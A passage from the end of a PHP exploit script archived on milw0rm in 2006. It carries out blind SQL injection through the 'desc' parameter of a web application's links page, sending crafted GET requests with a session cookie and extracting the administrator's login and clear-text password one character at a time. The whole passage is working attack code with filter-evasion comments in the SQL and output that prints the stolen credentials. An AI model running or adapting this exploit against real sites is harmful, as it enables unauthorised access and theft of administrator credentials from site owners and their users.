if ($my_check=="m1") {$my_password.=chr($i);echo "password -> ".$my_password."[???]\r\n";sleep(2);break;}
elseif ($my_check=="m2") {continue;}
elseif ($my_check=="") {die("Exploit failed, maybe wrong table prefix or simply failed to login...");}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
$j=1;
$my_admin="";
while (!strstr($my_admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="(SELECT(IF((ASCII(SUBSTRING(login,$j,1))=".$i."),LinkName,Description))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";
echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("<tr onmousedown=\"document.form['",$html);
$temp2=explode("']",$temp[1]);
$my_check=$temp2[0];
echo "check -> ".$my_check."\r\n";
if ($my_check=="m1") {$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]\r\n";sleep(2);break;}
elseif ($my_check=="m2") {continue;}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
echo "----------------------------------------------------------\n";
echo "admin -> ".$my_admin."\n";
echo "password (clear text) -> ".$my_password."\n";
echo "----------------------------------------------------------\n";
?>
# milw0rm.com [2006-07-30]